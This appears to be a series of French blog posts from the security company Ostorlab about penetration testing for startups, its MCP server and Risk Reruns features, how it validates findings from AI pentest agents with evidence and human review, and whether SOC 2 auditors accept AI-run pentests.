Pour la plupart des startups, le test en boîte grise est le choix pratique par défaut.

Faut-il à la fois un scanner de vulnérabilités et un test d'intrusion ?

Oui, mais ils résolvent des problèmes différents.

Un scanner de vulnérabilités ressemble à un système de radar. Il s'exécute fréquemment et aide à détecter les problèmes connus : services exposés, vulnérabilités de dépendances, mauvaises configurations courantes et erreurs récurrentes. Il est utile parce que les systèmes changent constamment.

Un test d'intrusion ressemble davantage à un exercice contradictoire. Il demande si des faiblesses peuvent être combinées, exploitées et utilisées pour causer un préjudice réel. Il est mieux adapté pour tester la logique personnalisée, les frontières entre tenants, les flux d'authentification, les règles d'autorisation et les processus métier sensibles.

L'un ne remplace pas l'autre. Le scan continu aide à maintenir l'hygiène. Le test d'intrusion valide le risque en contexte.

Foire aux questions

Ai-je besoin d'un test d'intrusion avant la Série A ?

Pas toujours. Si vous vendez à de petits clients et ne traitez pas de données sensibles, ce n'est peut-être pas urgent.

Mais si vous vendez à des entreprises, opérez dans la fintech ou la healthtech, stockez des données clients sensibles ou vous attendez à une due diligence sérieuse de la part d'investisseurs, un test d'intrusion est un signal fort de maturité. Il peut aussi éviter que la sécurité ne devienne un point bloquant de dernière minute.

Combien de temps dure un test d'intrusion ?

Un test d'intrusion manuel prend souvent d'une à trois semaines de tests actifs, plus la rédaction du rapport. La planification chez le prestataire peut ajouter de quatre à huit semaines avant même le début des tests.

Les tests autonomes et assistés par IA peuvent réduire le temps d'exécution à quelques heures ou quelques jours, selon le périmètre et la préparation de l'environnement. L'important n'est pas seulement la rapidité. C'est de savoir si le résultat est validé, utile et accepté par le destinataire qui l'a demandé.

Quel est le meilleur type de test d'intrusion pour une startup ?

Pour la plupart des startups SaaS, un test en boîte grise d'application web et d'API est le meilleur point de départ. Il doit inclure des rôles utilisateur réalistes, des contrôles d'accès multi-tenant, des tests d'authentification et d'autorisation, et les principaux workflows métier.

Si l'entreprise s'appuie fortement sur l'infrastructure cloud, ajoutez une revue de configuration cloud. Si le produit comprend une application mobile, ajoutez des tests de l'application mobile et de l'API.

Un test d'intrusion sans résultat prouve-t-il que nous sommes sécurisés ?

Non.

Un test d'intrusion est une évaluation limitée d'un périmètre défini à un instant donné. Il peut trouver des problèmes importants, mais il ne peut pas prouver l'absence de vulnérabilités. La sécurité est un processus continu qui implique l'architecture, la discipline d'ingénierie, la surveillance, le contrôle d'accès, la réponse à incident, la gestion des dépendances et les incitations organisationnelles.

Un rapport sans résultat est utile. Le considérer comme une preuve de sécurité est dangereux.

Que dois-je demander à un prestataire de test d'intrusion ?

Posez des questions pratiques :

Que comprend le périmètre ?
Comment testez-vous l'authentification et l'autorisation ?
Testez-vous la logique métier ?
Comment validez-vous les vulnérabilités ?
Quelles preuves le rapport inclut-il ?
Fournissez-vous des recommandations de remédiation ?
Le nouveau test est-il inclus ?
Le rapport comprendra-t-il une lettre d'attestation ?
Vos rapports ont-ils été acceptés par des auditeurs SOC 2 ou des équipes achats en entreprise ?
À quelle vitesse pouvez-vous commencer ?

Les réponses vous diront si le prestataire vend du travail de sécurité ou de la paperasse de sécurité.

Pour conclure

Le test d'intrusion n'est pas magique. Il ne rendra pas à lui seul une entreprise vulnérable sécurisée. Il ne remplacera ni la conception sécurisée, ni la revue de code, ni la gestion des dépendances, ni la journalisation, ni la surveillance, ni la réponse à incident.

Mais pour les startups, il joue un rôle important. Il fournit des preuves. Il met au jour des faiblesses. Il aide à satisfaire les acheteurs, les auditeurs et les investisseurs. Et, lorsqu'il est bien fait, il oblige l'organisation à regarder ses systèmes comme le ferait un attaquant.

Le meilleur test d'intrusion n'est pas celui qui a le PDF le plus épais. C'est celui qui trouve de vrais problèmes, les explique clairement, aide les ingénieurs à les corriger et produit des preuves auxquelles les clients et les auditeurs peuvent se fier.

Prêt à découvrir à quoi ressemblerait un test d'intrusion autonome pour votre startup ?

Réservez une démo pour obtenir une présentation d'Ostorlab et une évaluation transparente du coût, du périmètre et de l'adéquation avec votre stack technique.

Présentation du serveur MCP de la plateforme Ostorlab

2026-08-08T15:55:00+02:00

Ostorlab prend désormais en charge MCP via le serveur MCP de la plateforme Ostorlab, offrant aux assistants et agents IA un moyen direct, contrôlé par les permissions, de travailler avec les données et les workflows de sécurité de votre organisation Ostorlab.

Cela signifie qu'un client IA compatible MCP peut travailler avec les scans, les vulnérabilités, les tickets de remédiation, les actifs, les intégrations, l'automatisation et les rapports. Vous pouvez lui demander d'examiner ce qui nécessite une attention particulière dans un scan, de trouver les vulnérabilités qui doivent encore être corrigées, de créer des tickets, de vérifier les intégrations connectées, ou de lancer un nouveau scan.

Par exemple, demandez à un agent de résumer un scan et d'identifier ce qui nécessite une attention particulière : il peut récupérer les données du scan, examiner les vulnérabilités, les regrouper par sévérité et faire ressortir les résultats pertinents.

L'agent interroge directement Ostorlab et identifie les résultats qui nécessitent une attention particulière.

Qu'est-ce que MCP ?

MCP, ou Model Context Protocol, est un standard qui permet aux assistants et agents IA de se connecter à des systèmes externes et d'utiliser leurs outils. Plutôt que de naviguer dans une interface ou de construire manuellement des appels API, un client compatible MCP peut appeler des outils définis et recevoir des résultats structurés.

Avec le serveur MCP de la plateforme Ostorlab, ces outils se connectent à votre organisation Ostorlab. L'IA peut exploiter le contexte de sécurité déjà disponible dans la plateforme et, lorsque cela est autorisé, effectuer l'action suivante sans que vous ayez à transférer manuellement ces informations dans la conversation.

Contrôle d'accès au niveau de l'organisation

L'accès au serveur MCP Ostorlab est contrôlé via la clé d'API de l'organisation intégrée à l'URL du endpoint. Chaque outil vérifie le rôle et les permissions associés à cette clé avant d'effectuer une opération :

READ — consulter les données.
WRITE — créer ou modifier des données.
ADMIN — effectuer des opérations privilégiées, comme la lecture du journal d'audit de l'organisation.

L'accès aux scans et aux vulnérabilités est restreint plus finement : une clé d'API ne voit que les objets spécifiques auxquels l'accès lui a été accordé. Les éléments secrets tels que les mots de passe, jetons, clés d'API, secrets OAuth et URL de webhook ne sont pas renvoyés via MCP.

Configurer le serveur MCP Ostorlab

Le serveur utilise le HTTP en streaming (streamable HTTP) ; il vous suffit donc d'un client compatible MCP et d'une clé d'API d'organisation. Dans Integrations/API → API Keys, créez une clé d'API avec uniquement les permissions dont votre client a besoin, puis ajoutez le endpoint à votre client. Conservez la barre oblique finale :

https://api.ostorlab.co/apis/mcp/YOUR_API_KEY/

Pour Claude Code :

claude mcp add --transport http ostorlab https://api.ostorlab.co/apis/mcp/YOUR_API_KEY/

Pour les clients acceptant une configuration MCP au format JSON :

{
  "mcpServers": {
    "ostorlab": {
      "type": "http",
      "url": "https://api.ostorlab.co/apis/mcp/YOUR_API_KEY/"
    }
  }
}

Traitez le endpoint comme un identifiant sensible et ne le commitez ni ne le partagez. Une fois connecté, vérifiez l'accès avec une opération de lecture, comme le listage des scans. Consultez la documentation du serveur MCP Ostorlab pour la configuration complète propre à chaque client et le dépannage.

Il s'agit d'une première étape pour amener les workflows de sécurité Ostorlab directement aux assistants et agents IA compatibles MCP.

Des idées, des retours, ou un workflow que vous aimeriez voir pris en charge ? Faites-nous part de vos retours →

Présentation de Risk Reruns : un contrôle granulaire pour les Agentic Deep Scans

2026-08-07T18:50:00+02:00

Un contrôle granulaire et une couverture approfondie pour vos Agentic Deep Scans.

Nous sommes ravis d'annoncer Risk Reruns, une fonctionnalité puissante qui vous donne un contrôle ciblé sur vos Agentic Deep Scans. Vous pouvez désormais relancer à la demande des investigations de risque individuelles avec des modèles d'IA personnalisés, des profils d'effort plus élevés ou des paramètres mis à jour, sans avoir à créer un nouveau scan, à renvoyer vos actifs ni à répéter des évaluations déjà terminées.

Qu'est-ce qu'un « risque » dans les Agentic Deep Scans ?

Dans le framework Agentic Deep Scan d'Ostorlab, un risque correspond à une investigation de sécurité autonome et ciblée, dirigée vers un vecteur d'attaque précis, comme le test de l'autorisation défaillante au niveau des objets (BOLA), l'extraction de secrets codés en dur ou les failles de validation des JWT. Lors d'un scan complet, des dizaines d'agents spécialisés par risque s'exécutent en parallèle pour évaluer votre application.

Une couverture plus approfondie grâce à un contrôle granulaire

Le principal avantage de Risk Reruns est de donner aux équipes sécurité une précision chirurgicale sur l'exécution de leurs scans :

Profondeur d'investigation sur mesure : augmentez le budget ou l'effort alloué aux risques de logique métier complexes qui exigent un raisonnement plus poussé de l'IA.
Flexibilité des modèles et des fournisseurs : changez de fournisseur d'IA (par exemple BYOK ou modèles prépayés) ou choisissez des modèles spécialisés adaptés à la vérification de vulnérabilités complexes.
Continuité sans effort : en bonus, si un scan de longue durée a atteint un délai d'expiration, a rencontré une erreur transitoire du fournisseur ou a été arrêté manuellement en cours de route, Risk Reruns vous permet de reprendre exactement là où vous vous étiez arrêté, sans perdre la progression précédente.

Auparavant, modifier des paramètres ou terminer une vérification partielle imposait de relancer toute la suite de scans depuis le début. Avec Risk Reruns, vous concentrez la puissance de calcul de l'IA précisément là où elle est le plus utile.

Comment ça fonctionne

Relancer un risque se fait sans friction, directement depuis le tableau de bord des risques de votre scan :

Sélectionnez des risques précis : choisissez jusqu'à 100 risques (incomplets, terminés ou nécessitant une investigation plus approfondie) directement depuis les résultats de votre scan.
Configurez les paramètres d'exécution : ajustez les réglages à la volée : changez de modèle d'IA, augmentez les budgets de tokens ou relevez le profil d'effort.
Lancez et intégrez : cliquez sur Run. Ostorlab regroupe automatiquement les risques sélectionnés avec les identifiants enregistrés et le contexte de l'actif.

Principaux avantages

Fonctionnalité	Description
Résultats unifiés	Les résultats des relances sont fusionnés de façon transparente dans le tableau de bord de votre scan d'origine, pour un rapport d'audit unique et complet.
Exécution indépendante	Chaque risque s'exécute de manière isolée. Si vous relancez cinq risques, l'échec de l'un n'affecte pas l'exécution des autres.
Zéro répétition	Inutile de renommer des scans, de renvoyer des binaires ou de gérer des tâches séparées. La plateforme conserve l'intégralité du contexte de session.
Validation intelligente	Des garde-fous intégrés valident l'état de la cible et les paramètres avant d'envoyer des tokens, ce qui évite les dépenses inutiles.

Essayez-le dès aujourd'hui

Risk Reruns est disponible dès maintenant sur tous les Agentic Deep Scans. Connectez-vous à la plateforme Ostorlab pour l'essayer. Que vous souhaitiez pousser une investigation plus loin ou terminer une exécution interrompue, il vous suffit de sélectionner les risques, de personnaliser vos paramètres et de lancer.

L'IA peut mener l'attaque. Pouvez-vous faire confiance au résultat ?

2026-08-06T13:35:00+02:00

Si un agent IA produit un récit d'exploit convaincant, on peut faire confiance au résultat.

Non. Une explication plausible n'est encore qu'une piste.

Lors d'un scan autorisé d'application mobile, notre workflow a fait remonter ce qui ressemblait à une défaillance d'autorisation dans un flux de compte. Le client semblait utiliser un identifiant au niveau de l'application pour les appels backend, et un second identifiant propre au compte pour les requêtes sensibles. Un endpoint semblait accepter la requête sans ce second identifiant.

Nous avons ouvert une investigation et mis la vulnérabilité en attente.

Nous n'avons fait confiance au résultat qu'après avoir exécuté une requête contrôlée, observé l'effet de sécurité, vérifié un contrôle négatif, comparé avec un endpoint qui rejetait les requêtes privées du même en-tête, et répété le test avec un identifiant neuf.

L'agent nous a orientés vers la faiblesse. Les résultats du test ont décidé si elle avait sa place dans le rapport.

Comment la vulnérabilité d'autorisation a été confirmée

Voir un endpoint accepter un identifiant d'objet ne suffit pas à confirmer une faille d'autorisation. Nous devions démontrer qu'il renvoyait ou modifiait un objet non public sans la vérification de propriété attendue.

Le client mobile nous a fourni une piste utile. Il envoyait un identifiant au niveau de l'application au backend et ajoutait un identifiant séparé, propre au compte, aux requêtes sensibles. Un endpoint semblait ne pas exiger cette seconde valeur.

Nous avons ensuite exécuté cinq vérifications dans un environnement autorisé :

Nous avons construit une requête valide au niveau du protocole, avec l'identifiant de l'application présent, et avons délibérément omis l'identifiant propre au compte.
Un identifiant de compte valide connu, issu du test autorisé, a renvoyé des champs de compte, y compris le nom et des métadonnées de compte. Les valeurs sont caviardées dans le rapport.
Un identifiant invalide a renvoyé la réponse de référence « compte inexistant » plutôt que des données.
Un autre endpoint sensible a rejeté une requête lorsque le même identifiant de compte était omis, fournissant une comparaison utile.
Le comportement s'est reproduit avec un identifiant d'application neuf, réduisant la probabilité qu'une réponse mise en cache ou une session transitoire explique le résultat.

Figure 1 : preuve caviardée de l'exploit et de la réponse

Le premier extrait du rapport montre le jeton applicatif, l'identifiant propre au compte omis, et les champs de compte caviardés renvoyés dans la réponse.

Figure 2 : preuve caviardée de comparaison et de contrôle négatif

Le second extrait consigne la référence de compte invalide et le rejet, par l'endpoint de comparaison, de l'en-tête de compte manquant.

Ces captures d'écran proviennent du rapport plutôt que d'une capture de paquets indépendante. Elles rendent l'investigation traçable. La reproduction nécessite tout de même qu'un autre testeur rejoue la séquence dans un environnement autorisé.

Figure 3 : chaîne de validation d'autorisation anonymisée

La reconstitution omet les identifiants clients, les noms d'endpoints, les formats de requête et les champs de réponse.

Ensemble, ces vérifications ont étayé une conclusion restreinte : cet endpoint renvoyait des données de compte sans l'identifiant propre au compte attendu. La requête n'était pas dépourvue d'identifiant, puisqu'elle portait toujours un jeton porteur au niveau de l'application. Nous avons maintenu le rapport à ce niveau plutôt que de qualifier le chemin de totalement non authentifié.

Le rapport a bouclé la boucle avec des critères de remédiation et de retest. Le backend devrait imposer la vérification de propriété, rejeter les requêtes où l'identifiant de compte est manquant, éviter de traiter un identifiant d'application distribué côté client comme une autorisation utilisateur, et normaliser les erreurs de recherche de compte. Après correctif, les mêmes contrôles positifs et négatifs devraient être rejoués.

Ce qui a changé : la preuve avant la sévérité

Des versions antérieures du workflow pouvaient sauter d'un indice à une conclusion. Une différence de réponse pouvait être étiquetée à tort comme une « injection ». Un sink dangereux côté navigateur pouvait être qualifié de « XSS exploitable ». Une redirection pouvait être rapportée comme un « contournement d'authentification ». Chaque indice méritait une investigation, mais aucun n'avait gagné l'étiquette.

Dire au modèle d'« éviter les faux positifs » n'a pas résolu le problème. À la place, nous avons défini la preuve minimale requise pour confirmer chaque classe de vulnérabilité.

Figure 4 : preuve minimale requise avant confirmation

Chaque classe de vulnérabilité exige un effet observable différent avant confirmation.

Les candidats qui échouent à ces vérifications restent marqués comme hypothèses. Ce filtre réduit le risque qu'une piste non étayée atteigne le rapport final. Nous ne revendiquons pas de pourcentage universel, car ce taux varie selon la cible, le niveau d'accès, la classe de vulnérabilité, et selon que les pistes précoces sont comptées aux côtés des vulnérabilités prêtes pour le rapport.

Une mesure opérationnelle utile est le nombre de vulnérabilités rapportées qui survivent à la reproduction, à la revue d'impact et aux vérifications de preuve, sans forcer un autre testeur à reconstruire l'investigation depuis le début.

C'est le harnais, pas le modèle, qui décide ce qui compte

Un modèle de langage peut choisir un prochain test utile. Il ne devrait pas décider seul du moment où un soupçon devient une vulnérabilité confirmée. Le harnais environnant impose le périmètre, contrôle les outils, préserve les observations, et vérifie si la preuve requise existe.

Figure 5 : boucle de preuve et de revue du pentest agentique

L'application du périmètre, le contrôle des outils, la capture de preuves et la revue humaine fonctionnent en dehors du modèle.

Prenons le server-side request forgery. Un champ URL contrôlé par l'utilisateur est une piste. La confirmation exige la preuve que c'est le serveur applicatif, et non le navigateur du testeur, qui s'est connecté à une destination contrôlée. Le rapport doit conserver la requête, le callback, le build, le rôle, l'endpoint et l'horodatage. Il ne devrait revendiquer un accès au réseau interne que lorsqu'un test séparé démontre cet impact.

Si la preuve reste insuffisante, le harnais demande un autre test ou consigne le résultat comme non concluant. La confiance, la répétition et une explication détaillée ne peuvent pas le faire monter en grade.

Pourquoi nous le testons sur nos propres systèmes

Nous exécutons aussi le workflow dans des environnements sélectionnés et autorisés, exploités par Ostorlab. Cela fournit des preuves pour la sécurité interne et la validation produit, mais cela ne remplace pas une évaluation indépendante.

Cet accès crée une boucle de retour utile. Les ingénieurs peuvent comparer une affirmation avec l'implémentation, vérifier si l'agent a atteint la couche visée, inspecter ce qu'il a manqué, et retester un correctif dans des conditions connues. Les candidats non étayés deviennent des cas de test négatifs. Lorsque l'agent manque une précondition, nous ajoutons ce contexte au harnais. Après remédiation, un exploit validé peut devenir un test de non-régression.

Ce travail teste le workflow face à des états d'authentification connus, des détails d'implémentation, des contraintes de déploiement et des cycles de remédiation. Les résultats nous indiquent comment il s'est comporté dans ces environnements. Ils n'établissent pas un taux de précision universel.

Appliquer la même règle à GoPhish

L'évaluation du code source de GoPhish par Ostorlab a appliqué la même règle de preuve à un dépôt complet.

Agentic Deep Scan a fait remonter des schémas répandus dans le dépôt : des chemins de création pouvant mettre à jour des objets existants, des vérifications d'identifiants détachées de l'état du compte, des chemins de rendu navigateur non sécurisés, et des contrôles de requêtes sortantes dont le comportement changeait selon la configuration.

Ces signaux ont indiqué à l'équipe où regarder ensuite. Ils ne sont pas entrés automatiquement dans le rapport.

L'évaluation finale contenait huit vulnérabilités de niveau rapport. Chacune a été tracée à travers le handler, le modèle, le middleware et le chemin navigateur ou réseau pertinent, puis associée à une preuve de concept locale reproductible et à des recommandations de remédiation. La valeur venait des chemins complets ayant survécu à la validation, plutôt que du nombre brut de schémas détectés.

Ce qu'apporte la recherche externe

Nos cas internes montrent comment nous validons les résultats. La recherche indépendante aide à répondre à une autre question : quelle est la capacité réelle des agents ?

Dans une étude contrôlée, des chercheurs ont comparé dix professionnels de la sécurité, six agents IA existants, et un nouveau système multi-agents appelé ARTEMIS, sur un réseau universitaire réel couvrant environ 8 000 hôtes répartis sur 12 sous-réseaux. La plus performante des deux configurations d'ARTEMIS s'est classée deuxième au global : neuf de ses onze soumissions, soit 82 %, ont été jugées valides, et elle a surpassé neuf des dix professionnels selon le cadre de notation de l'étude.

Ce résultat demande du contexte. Les participants disposaient d'un maximum de dix heures actives sur quatre jours, plutôt que d'une mission normale d'une ou deux semaines. L'environnement manquait de pression défensive réelle, l'échantillon était restreint, et l'article est un preprint arXiv. ARTEMIS a aussi produit plus de faux positifs que les participants humains et a éprouvé des difficultés avec les interfaces graphiques.

L'étude démontre une capacité dans un environnement contrôlé. Elle n'établit pas d'équivalence pour chaque application, workflow métier ou contrainte de production. Selon son harnais, un agent peut cartographier les actifs et les routes, maintenir des sessions, comparer des rôles, tracer des flux de données, générer des payloads, piloter des outils de sécurité, et s'adapter après un test échoué.

Placez les humains aux points de contrôle, pas derrière chaque clic

Un praticien de la sécurité interrogé pour cet article a indiqué que l'IA est déjà utile pour la reconnaissance, la génération de payloads et l'exécution d'exploits. Selon lui, les humains doivent encore porter la logique métier, l'impact ambigu et la validation finale. Il a insisté sur la traçabilité et la reproductibilité.

L'approbation humaine n'est pas requise pour chaque requête. Elle compte lorsqu'une action pourrait modifier des données, exposer des clients, ou dépasser le périmètre autorisé.

Avant le test, un humain définit la cible, le build, les comptes, la classification des données, les limites de débit et les actions interdites. C'est la couche d'exécution, et non une phrase dans un prompt, qui doit imposer ces limites.

Pendant le test, l'agent gère la reconnaissance à fort volume et les tests d'hypothèses sûrs. Un humain approuve les actions destructrices, les changements en production, l'élévation de privilèges significative, et les étapes qui pourraient exposer de vraies données clients.

Après le test, un relecteur reproduit les vulnérabilités significatives, remet en question la sévérité et l'impact métier, vérifie les lacunes de couverture, et accepte ou rejette chaque résultat à inclure dans le rapport. Un second modèle peut aider au triage, mais ce n'est pas une preuve indépendante s'il se contente de lire l'explication du premier modèle.

PwC décrit un workflow similaire : des agents réalisent la reconnaissance, des humains valident les recommandations et les approches de collecte d'informations, et le système propose des cibles que les testeurs doivent investiguer.

La recherche de CREST, menée auprès de 62 prestataires de cybersécurité dans 19 pays, a de même constaté que l'usage de l'IA se concentre sur la reconnaissance, l'analyse et le reporting, les humains étant davantage impliqués dans les tests à plus haut risque.

La revue humaine n'aide que lorsque le relecteur dispose des preuves brutes, de l'expertise pertinente, et de suffisamment de temps pour remettre en question la conclusion.

Les données sensibles font partie du modèle de menace

Un pentest peut exposer du code source, de l'architecture, des sessions administrateur, des tokens API, des URL internes, des dossiers clients et des exploits fonctionnels. « Nous n'entraînons pas nos modèles sur vos prompts » ne répond qu'à une partie du risque.

Avant d'accorder un accès à un agent, une équipe de sécurité devrait savoir :

Si du code brut, du trafic ou des secrets sont envoyés à une API de modèle externe.
Quels prompts, sorties d'outils et traces sont conservés, et qui peut y accéder.
Si les secrets sont caviardés avant les appels au modèle et dans les logs.
Si l'exécution est isolée et les connexions sortantes restreintes.
Où les données sont traitées, combien de temps elles sont conservées, et comment leur suppression est vérifiée.

Le fournisseur du modèle peut ne rien conserver, tandis qu'un service d'orchestration conserve chaque réponse HTTP. La revue doit donc couvrir l'ensemble du chemin des données, et pas seulement l'API du modèle.

Mesurer le coût par résultat validé

Un effort de reconnaissance réduit ne prouve pas un coût total plus faible pour chaque mission.

Pour évaluer le coût par résultat validé, incluez les frais de plateforme, l'usage du modèle, l'infrastructure, les nouvelles tentatives, le triage, la validation humaine et la gouvernance.

Des mesures utiles incluent le coût par vulnérabilité significative validée, le temps de revue humaine, la surface autorisée testée par version, le taux de candidats rejetés ou déclassés, et le délai entre la remédiation et le retest vérifié.

Pour construire l'argumentaire commercial, comparez un périmètre et une qualité équivalents. Mesurez ensuite si le workflow augmente la fréquence ou la couverture des tests tout en réduisant l'effort d'expert requis pour obtenir des résultats validés.

Un auditeur ou un client accepterait-il le rapport ?

Il n'existe pas de règle d'acceptation universelle pour un « pentest par IA ». L'acceptation dépend des critères d'audit applicables ou du contrat client, et du fait que la mission réponde à leurs exigences de périmètre, méthodologie, qualification des testeurs, indépendance, preuve, revue humaine et responsabilité.

Confirmez ces exigences auprès de l'auditeur ou du client avant le test. L'IA peut réaliser un travail technique substantiel, mais elle ne peut pas déterminer si son propre rapport satisfait ces exigences. L'acceptation propre à un référentiel est une question distincte, qui ne doit pas être déduite de la capacité du modèle.

Alors, peut-on faire confiance à un résultat de pentest par IA ?

Oui, lorsque la preuve peut répondre à six questions :

La cible était-elle explicitement autorisée, et qu'est-ce qui est resté non testé ?
Quelles actions ont été exécutées, et qu'a renvoyé la cible ?
Quel effet observable a prouvé la vulnérabilité ?
Quels contrôles négatifs et comparatifs ont écarté des explications plus simples ?
Un autre testeur peut-il reproduire le résultat ?
Qui a revu la preuve et reste responsable de la conclusion ?

Le cas mobile et l'évaluation GoPhish ont abouti au même point : seules les affirmations étayées par une preuve reproductible sont entrées dans les rapports.

L'IA peut mener l'attaque.

La confiance commence lorsque quelqu'un d'autre peut l'inspecter, la reproduire, et parvenir à la même conclusion.

FAQ

Qu'est-ce que le pentest par IA ?

Le pentest par IA utilise des agents IA, souvent basés sur des modèles de langage, connectés à des outils de sécurité pour investiguer une cible autorisée. Contrairement à un scanner classique, un agent peut choisir le prochain test à partir d'observations précédentes, maintenir des sessions, générer des payloads et valider des hypothèses. Le résultat n'est utile que lorsque la couche de contrôle enregistre le périmètre, les actions, les preuves et les limites.

L'IA peut-elle remplacer les testeurs d'intrusion humains ?

Pas de façon fiable, aujourd'hui, pour une évaluation complète. L'IA peut automatiser la reconnaissance, le test de vulnérabilités connues, la génération de payloads et le retest de correctifs. Les humains restent nécessaires pour comprendre l'intention métier, évaluer un impact ambigu, approuver des actions risquées, examiner les lacunes de couverture, et rester responsables du rapport final. L'IA peut remplacer des tâches individuelles sans remplacer le rôle humain complet.

Le pentest par IA est-il sûr ou digne de confiance ?

Seulement avec des contrôles solides. L'exécution doit rester dans un périmètre autorisé, les actions risquées doivent nécessiter une approbation, les données sensibles doivent être protégées, et des humains doivent valider les vulnérabilités significatives. Les équipes doivent aussi pouvoir inspecter ce qui s'est exécuté, ce qui s'est passé, et ce qui est resté non testé.

Pourquoi les outils de pentest par IA génèrent-ils autant de faux positifs ?

Les outils de pentest par IA peuvent produire des faux positifs lorsqu'ils confondent du code suspect ou des réponses inhabituelles avec une exploitation réussie. Les causes courantes incluent un contexte applicatif manquant, des hypothèses incorrectes sur l'identité ou les prérequis, des redirections interprétées comme une authentification réussie, et un accès d'exécution incomplet. La validation à l'exécution et les vérifications de reproductibilité aident à empêcher des hypothèses non étayées de devenir des vulnérabilités rapportables.

Quelle est la différence entre une IA qui trouve une vulnérabilité et une IA qui la prouve ?

Signaler une vulnérabilité potentielle consiste à identifier une faiblesse plausible, par exemple une URL contrôlée par l'utilisateur atteignant une fonction de requête côté serveur. La prouver exige un test autorisé qui produit un effet observable, préserve la requête et la réponse ou le callback, documente les prérequis, et peut être reproduit de façon indépendante. Une hypothèse ne devient une vulnérabilité confirmée qu'après cette validation.

Le pentest par IA met-il en danger les données sensibles ?

Cela peut arriver. Un pentest par IA peut traiter du code source, des identifiants, du trafic HTTP, des URL internes, des dossiers clients et des exploits fonctionnels. Les équipes devraient vérifier ce qui atteint les API de modèles externes, ce que la plateforme d'orchestration enregistre, qui peut accéder à ces enregistrements, où les données sont stockées, combien de temps elles sont conservées, et comment leur suppression est confirmée.

Un rapport de pentest généré par IA est-il acceptable pour des auditeurs ou des clients ?

Il n'existe pas de réponse universelle. Un rapport assisté par IA n'est acceptable que s'il satisfait les critères d'audit applicables ou les exigences du client. Confirmez à l'avance le périmètre, la méthodologie, la qualification des testeurs, l'indépendance, la divulgation de l'usage de l'IA, la preuve, la revue humaine et la responsabilité. L'IA peut réaliser un travail technique, mais elle ne peut pas déterminer sa propre acceptation.

Que doit rester sous contrôle humain dans un pentest piloté par IA ?

Les humains doivent contrôler le périmètre, les identifiants, la classification des données, les actions interdites, et l'approbation des tests destructeurs ou à impact en production. Ils doivent aussi revoir les vulnérabilités significatives, remettre en question la sévérité et l'impact métier, examiner les zones non testées, et décider de ce qui entre dans le rapport final. C'est la couche d'exécution qui doit imposer ces décisions, plutôt que de s'appuyer uniquement sur des instructions dans un prompt.

Le pentest par IA permet-il vraiment d'économiser de l'argent ?

Parfois. Des économies apparaissent lorsque la réduction du travail répétitif dépasse le coût d'usage de la plateforme, de l'infrastructure, des nouvelles tentatives, du triage, de la validation humaine et de la gouvernance. Comparez le coût complet par résultat validé pour un périmètre et une qualité équivalents, en incluant l'effort consacré à rejeter ou reconstruire des vulnérabilités non étayées.

Références

SOC 2 peut-il accepter un test d'intrusion réalisé par une IA ?

2026-08-06T10:00:00+02:00

Idée reçue : SOC 2 exigerait qu'un consultant humain réalise votre test d'intrusion, sans exception. Nulle part les Trust Services Criteria ne le disent, mais cette croyance est assez répandue pour prendre des équipes au dépourvu. De plus en plus d'équipes sécurité mènent des tests d'intrusion continus pilotés par l'IA tout au long de l'année, au lieu de commander une mission annuelle unique, et se présentent ensuite à leur audit SOC 2 avec une question que leur auditeur ne s'est encore jamais vu poser : accepterez-vous un rapport de test d'intrusion dont les tests ont été réalisés par un agent IA, et non par un consultant humain ?

SOC 2 accepte-t-il les tests d'intrusion réalisés par une IA ? Oui, mais sous conditions. Voyons lesquelles comptent vraiment aux yeux d'un auditeur.

Le reste de cet article explique pourquoi : ce que SOC 2 exige réellement, pourquoi les tests IA continus s'accordent mieux à la période d'audit qu'un pentest annuel, et ce qui distingue une preuve générée par l'IA qu'un auditeur acceptera du bruit généré par l'IA qu'il rejettera.

SOC 2 ne dit pas vraiment « test d'intrusion »

Cela surprend lors d'une première lecture attentive des Trust Services Criteria. L'AICPA définit ces critères dans la TSP Section 100 (les critères de 2017, avec des points d'attention révisés publiés en 2022). Si vous lisez attentivement la documentation officielle, vous constaterez que le texte n'impose jamais de test d'intrusion en tant que tel. Ce qu'il impose, c'est qu'une organisation évalue si ses contrôles fonctionnent efficacement. Le test d'intrusion est devenu la méthode standard du marché que les auditeurs attendent pour évaluer les contrôles techniques, non parce que le référentiel exige cette méthode précise, mais parce que rien d'autre ne démontre qu'un contrôle tient réellement face à une attaque, au lieu d'exister seulement sur le papier.

Trois critères portent l'essentiel du poids :

Critère	Ce qu'il exige	Pourquoi la méthode de test est la façon dont les auditeurs l'évaluent
CC4.1 — Activités de surveillance	L'entité évalue si ses contrôles sont en place et fonctionnent	Inspecter un contrôle (lire une configuration, vérifier un document de politique) confirme qu'il existe ; l'attaquer confirme qu'il fonctionne
CC7.1 — Identification des vulnérabilités	L'entité identifie les vulnérabilités de son infrastructure	Suppose une activité continue : les vulnérabilités n'apparaissent pas selon un calendrier annuel fixe, donc les preuves doivent couvrir la période d'audit, et non une seule date de cette période
CC7.2 — Détection des événements de sécurité	L'entité met en œuvre des procédures de détection pour repérer les anomalies	Une attaque réelle est l'un des seuls moyens de générer un véritable événement et d'observer si la détection se déclenche effectivement

Ainsi, « nous avons besoin d'un pentest pour SOC 2 » est en réalité un raccourci pour « nous avons besoin de preuves crédibles que nos contrôles résistent à une tentative active de les contourner, sur toute la période auditée ». Cette distinction compte, car elle signifie que la vraie question de l'auditeur n'a jamais été de savoir qui ou quoi a mené le test : elle porte sur le caractère crédible et reproductible de ce qui en est ressorti comme preuve de l'efficacité des contrôles. Un agent IA est jugé selon exactement le même critère qu'un testeur humain.

Les audits Type II sont conçus pour des preuves continues, pas pour un instantané

SOC 2 existe en deux versions, et la différence change ce que signifie même une « preuve acceptable ».

Type I atteste que les contrôles étaient correctement conçus à un instant donné.
Type II atteste que les contrôles ont fonctionné efficacement tout au long d'une période d'audit, généralement de six à douze mois.

Un test d'intrusion annuel classique produit un seul point de données : un rapport daté d'un jour situé dans cette fenêtre. Pour un audit Type I, c'est un choix raisonnable. Pour un audit Type II, c'est un décalage structurel : on demande à un seul instantané de représenter douze mois de fonctionnement des contrôles, et tout ce qui s'est passé avant ou après les dates de cette mission reste tout simplement sans preuve.

